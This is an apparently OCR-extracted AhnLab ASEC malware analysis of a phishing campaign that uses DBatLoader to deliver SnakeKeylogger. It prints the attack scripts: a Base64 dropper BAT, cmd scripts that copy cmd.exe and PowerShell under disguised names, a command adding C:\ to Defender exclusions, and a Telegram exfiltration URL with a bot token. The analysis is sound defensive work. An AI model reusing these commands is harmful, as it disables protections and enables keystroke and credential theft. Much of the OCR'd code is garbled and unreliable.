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Recently, AhnLab SEcurity intelligence Center (ASEC) has identified cases of the ModiLoader (DBatLoader)
malware being distributed via email. ModiLoader ultimately executes SnakeKeylogger. SnakeKeylogger is an
Infostealer-type malware developed in .NET. It is known for its data exfiltration methods using emails, FTP,
SMTP, or Telegram. Figure 1 shows the email being distributed. The email is written in Turkish and is being
distributed by impersonating a Turkish bank. Users are prompted to open the malicious attachment to check their

transaction history. The compressed file contains the BAT malware shown in Figure 2.
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Figure 1. Email body
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Figure 2. Inside the rar compressed file (bat file)

Figure 3 shows the BAT code creating and executing the DBatLoader malware (x.exe) encoded in Base64 in the

%temp% directory. Figure 4 is the image of the created DBatLoader malware (x.exe).
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1 EEcho off

2 echo TVpQRATARARFARSA/  SAALgARRAAAL AR AR AL AR AN AR AR AABAA N> WX
3 echo RAARRARRARRAAFAAT.0QRRAdfFeAnNILgETMOREJEUaGlzIHEYR2dyYWOgkXVzdCBiZ5EydWdg>> L%
: echo dWSkEZXIgVZiluMzINCiQ3ARRR R L L L L L L A L L R OO L A AR AR DA D AR B T A%3
£ echo AARRARRARRAMRAMRAMRAMRANRANRANRANRA LR NAA RN R AR AR WX
2 echo RAADRARRARRAMAAMRAMRAMRAMAAMAAMAAMAAMAAMAAMNAANAANAANAANAANAANRFEFAREBMAD>> L%
7 echo KAGVSCHgRARARRALRAR4RCOgosEAnKANgocRR 4SRRI NWCARBALOARLABWARLFAADEBLAL > A%3

echo RLLCLAMERLANLALALLOLA LR LA P A R AN AL AR L AN R RO A AR O L L O T T

PE(exe) File encoded in Base64

ARFANAFALAFALA L CALF AT AL R AR AAQROACARAGARALTAROAGAERAROABADDBARRDAD AR RO

echo ABACARQARBRRFANARLANOLARLACARELTABARAFEALORORORABOARLATARORgAELRRORBADORE>> X
echo ARLGRAAMAQRBACRACAARALFANARALL CORAREARORTCARRARATACOERRAAMgRWwMARRRQRgLE>> k%4
echo glRRARZAFRhIARARACARIFQRADCAUFALARFATADCZWRARNOARA AL AL AAR AR A AL ALARARRARRA S X

echo ARRARARAAMARARAARARAARARAN==""" x
i r fe mymom “x.vbs
//fnologo W®.vha
Wx
\x.vhbs
start "" WX.exe
32210 exit
32211 Set f=Createfbject ("Scripting.FileSystemCbhject™) "v
32212 Set p=f.GetSpecialFolder(2)'wv
32213 Set i=f.OpenTextFile (p+"\x",1)"'w
-=i.Readlll()'v

i se'v

Set x=CreateCbject ("Mszml2.DCMDocument™) 'v
Set o=x.CreateElement ("bassed™) 'v

o.d Iype="bin.base64"'v

o.Cext=c'v

Set b=CreatelCbject ("ADODE.Stream™) 'v
E.Type=1l'v

n'wv

o.NodeTypedValue'v
b oFile p+"\x.exe",2'v

Figure 3. Main part of the bat script (creating and executing x.exe)
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Figure 4. x.exe (DBatLoader) created in the Temp directory

Figures 5 and 6 show the obfuscated and decrypted forms of three bat scripts (5696.cmd, 8641.cmd, neo.cmd)
executed by DBatLoader (x.exe). DBatLoader uses these bat scripts and files such as svchost.pif, netutils.dll, and

wxiygomE.pif to achieve its attack goals of evading detection and executing keyloggers.
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Figure 5. DBatLoader executing the obfuscated bat script

[ decrypted 5636, cmdxx 3 |
@echo off
"C:\Windows \SysWOW64\svchost.pif" >nul

ping 127.0.0.1 -n 10 >nul

del /g "C:\Windows \SysWOW64\NETUTILS.dll"™ /A /F / Q/ S >nul

1o U1 W N

8 exit

[ decrypted 8641, cmdxx 3 |
1 @echo off
2 cls
3 C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o >nul &
4
5

C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " >nul 2>nul &
C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64 >nul 2>nul &
exit

=] decrypted_neo.cmdks £ |

@echo off

extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowershell\\vl.0\\powershell.exe C:\\Users\\Public\\xkn.pif" >nul &
C:\\Users\\Public\\xkn.pif -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath 'C:\'

exit

=W

Figure 6. DBatLoader decrypting the bat script

Attack Process

1. Evasion of Detection
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Figure 7 is the 8641.cmd script of the bat script. The Esentutl command is used to copy cmd.exe as alpha.pif. The
mkdir command is then used to create a folder (Windows \SysWow64) including a space in its name to disguise it

as a legitimate path.

[ decrypted_B641. e 1 |
1 @echo off
cls
C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o >nul &
C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " >nul 2>nul &
C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW&4 >nul 2>nul &
exit

o O W N

Figure 7. Functions of 8641.cmd

DBatLoader (x.exe) creates a program with the disguised name svchost.pif in the Windows \SysWow64 directory.
As shown in Figure 8, this program has the same name as the legitimate process easinvoker.exe, and an malicious
netutils.dll is created in the same directory to perform DLL side-loading. As a result, the legitimate easinvoker.exe
process exhibits malicious behavior. Figure 9 shows the decrypted 5696.cmd script. The script executes
svchost.pif to load the malicious netutils.dll as a side-loaded DLL. It then uses the ping command to introduce a
10-second delay before deleting the malicious netutils.dll file. Figure 10 shows the functions of the malicious

netutils.dll, which involves decoding encoded commands to execute a command that runs the neo.cmd file.

Image

ichange iveSync Invoker
Microsoft Corporation

Mame: gychost. pif
Version:  10.0,22621. 1 (WinBuild. 160101.,0800)

Path:
C:Windows \SysWOwed\svchost. pif

Command Line:
"Ci\Windows \SysWOwWs4\svchost, pif™

Figure 8. Legitimate program (easinvoker.exe) with the file name disguised as svchost.pif

|| decrypted_5R96, crndxx E4 ‘
1 @echo off

2 "C:\Windows \SysWOW64\svchost.pif" >nul

2 ping 127.0.0.1 -n 10 >nul

5

& del /g "C:\Windows \SysWOW64\NETUTILS.dl11" /A / F / Q / S >nul
Z exit

Figure 9. Functions of 5696.cmd
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__inte4 NetpIsRemote()
1
__inted4 wae; // rbx
__inte4 wl; // rax
__inté64 w2; // rbx
__inte&4 w3; /S rax
__inted4 w4y /S rbx
__inte4 w5; // rax
__inte4 we; // rbx
__int64 v7; // rax
const CHAR *v8: // rax
char v1@[48]; // [rsp+28h] [rbp-&8h] BYREF
char v11[32]; // [rsp+5€h] [rbp-38h] BYREF
char v12[32]; // [rsp+7@h] [rbp-18h] BYREF
char w13[32]; // [rsp+98h] [rbp+18h] BYREF

stropy (w13, "==0azlWQ"};

k3ax(vl3);

strepy(vl2, “=cmbpJHdTSWYJNVaz1WQ");
k3ax{vli2);

strepy(vll, "=cmbpJHATSWYjNVazI1WQ");
k3ax(vlil);

vE = baode(vl
vl = bacde(vl
ASSnko(vl, vi
v2 = bacde(vll);

v3 = baode(vl13);

Assnko(vi, wi);

strepy(vlig, “=0WbjSyTFSEXcNnclNXVgwabBxFXzIXZzVFXcpzQ");
k3ax(vle);

vid = bacde(vl
w5 = baode(vl
ASSnko(vs, i
vE = bacde(vl
w7 = bacde(vl
ASSnke (w7,
w8 = (const
WinExec (w3, @);
return 8i64;

Figure 10. Functions of manipulated netutils.dll (executing neo.cmd)

[Figure 11] shows the contents of the neo.cmd script, which uses the extrac32 command to copy powershell.exe
under the name xkn.pif. Through a command executed on xkn.pif (powershell.exe), subdirectories under “C:” are

added to Windows Defender’s exclusion paths, achieving the goal of bypassing detection.

[l decrypied_neo.cmdsx 3 |
1  @echo off
2 extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\vl.0\\powershell.exe C:\\Users\\Public\\xkn.pif" >nul &
3 C:\\Users\\Public\\xkn.pif -WindowStyle hidden -Command "Rdd-MpPreference -ExclusionPath 'C:\"'
4 exit

Figure 11. Functions of neo.cmd

2. Information Theft (SnakeKeyL ogger)

Figure 12 shows the process tree of behaviors executed from DBatLoader (x.exe). After achieving detection

evasion, a file named wxiygomE.pif is created. The program is a module (loader.exe) of the legitimate

Page 6 of 11



https://asec.ahnlab.com/en/88025/

mercurymail program, shown in Figure 13. Afterward, the legitimate process with a disguised name

(wxiygomE.pif) is executed, and SnakeKeylogger is injected.

B ¥ xexe (1160)
=) gz cmd exe (1628)
g2 conhost.exe (7268)
24 alpha pif (11332)
=% alpha pif (6488)
=) 2% omd exe (3196)
z=4 conhost.exe (8512)
=) g cmd exe (1044)
g2 conhost.exe (5164)

) wxiygomE pif (2132)

Figure 12. Process tree of DbatLoader (x.exe)

Image
% Merf:ury,."ﬂ.'.?_' Loader Module v4.62
oy David Harris
Mame: wxiygomE. pif
Version: 4.62
Path:
C:Wsers | Links WwxiygomE. pif

Command Line:

C:VWUsers' i’ \Links WwixdiygomE. pif
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Figure 13. Normal program with a disguised file name (loader.exe)

Figure 14 is the list of functions corresponding to the functions of SnakeKeylogger injected into the legitimate
process (wxiygomE.pif). These include malicious functions such as exfiltrating keylogging data such as system

information, keyboard inputs, and clipboard data.
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Figure 14. Function list of SnakeKeylogger
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Figure 15 corresponds to the threat actor’s configuration value in SnakeKeylogger. The configured Telegram bot

token is used to transmit the exfiltrated information to the Telegram C2.

hMa5jiod.
ature =

HOErFZ 0Lk

Figure 15. Threat actor’s configuration for SnakeKeylogger

Conclusion

The DbatLoader malware distributed through phishing emails has the cunning behavior of exploiting normal
processes (easinvoker.exe, loader.exe) through techniques such as DLL side-loading and injection for most of its
behaviors, and it also utilizes normal processes (cmd.exe, powershell.exe, esentutl.exe, extrac32.exe) for
behaviors such as file copying and changing policies. As it is difficult to detect the infection when targeting
individuals, individual users need to be cautious and maintain a strong sense of security by being careful about
initial access techniques such as executing script extensions from phishing emails and keeping their security

products up-to-date to prevent such attacks.
MD5

7fa27c24b89cdfb47350ecfd70e30e93
a0a35155c0daf2199215666b00b9609c
Additional IOCs are available on AhnLab TIP.
URL

https[:]//apil.]telegram[.]org/bot8135369946[: ]JAAEGf2HOErFZIOLbS Xn5AVeBr_xgB-x1Qmk/sendDocument?
chat_id=7009913093
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Additional IOCs are available on AhnLab TIP.

Source: https://asec.ahnlab.com/en/88025/
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